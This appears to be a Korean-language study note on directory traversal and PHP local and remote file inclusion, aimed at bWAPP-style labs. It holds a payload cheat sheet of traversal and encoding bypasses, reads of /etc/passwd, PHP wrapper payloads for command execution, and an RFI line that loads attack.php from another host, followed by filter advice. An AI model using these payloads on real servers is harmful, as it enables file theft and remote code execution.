Directory traversal

🔎 What is Directory traversal?

Directory traversal(also known as file path traversal)은 공격자가 응용 프로그램을 실행하는 서버에서 임의의 파일을 읽을 수 있도록 하는 취약점입니다. 애플리케이션 코드 및 데이터, 백엔드 시스템에 대한 자격 증명, 민감한 운영 체제 파일이 포함될 수 있으며 경우에 따라 공격자가 서버의 임의 파일을 쓸 수 있어 응용 프로그램 데이터나 동작을 수정하고 서버를 제어할 수 있습니다.

direc

🔎 What is difference beetween Directory traversal and LFI, RFI?

LFI(Local File Inclusion), RFI(Remote File Inclusion) 와 Directory traversal의 가장 큰 차이점은 파일을 실행시킬 수 있냐의 차이입니다. 경로 탐색 같은 경우는 단순하게 파일을 읽기만하지만 LFI,RFI는 파일을 읽고 실행시킬 수 있습니다.

# LFI
http://192.168.100.10/bWAPP/file.php?language=l../../../../../../etc/passwd&action=go
# RFI
http://192.168.100.10/bWAPP/file.php?language=http://192.168.5.6/attack.php

File path traversal, traversal sequences stripped non-recursively

서버에서 path구문(../)을 제거할 경우 사용할 수 있는 방법입니다.

스크린샷 2021-11-04 오후 9 40 58

....//....//....//etc/passwd

스크린샷 2021-11-04 오후 9 41 25

🔥 Cheat sheet

Basic exploitatin

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass "../"

//Bypass "../" replaced by ""
..././
...\.\

//Bypass "../" with ";"
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt

Double URL encoding

. = %252e
/ = %252f
\ = %255c

LFI PHP wrapper

# expect:// (System command 실행)
www.useegod/index.php?page=expect://ls
# php://filter (encode/decode 옵션을 사용하여 서버 내부 파일 열람)
www.useegod/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
# zip:// (파일의 압축을 풀고 파일안에 있는 코드 실행)
www.useegod/index.php?page=zip://file.zip#shell.php

Linux LFI-RFI list

https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-list.txt
https://github.com/hussein98d/LFI-files/blob/master/list.txt
Windows LFI-RFI list

https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-windows-list.txt

👀 How to Prevent ?

사용자로부터 입력 받은 디렉터리와 파일명에 대한 입력 값 필터링 적용 (공백으로 치환 시 우회기법이 존재하므로 다른 문자열 등으로 치환을 권고)

필터 문자열
../ ./ /. ..\ .\ % ; %00 %2F 등

다운로드 파일명을 DB에 저장하고 다운로드 시 요청 파일명과 비교하여 적절한지 확인
다운로드를 제공하는 페이지의 유효 세션 체크 로직 필수 적용

📃 References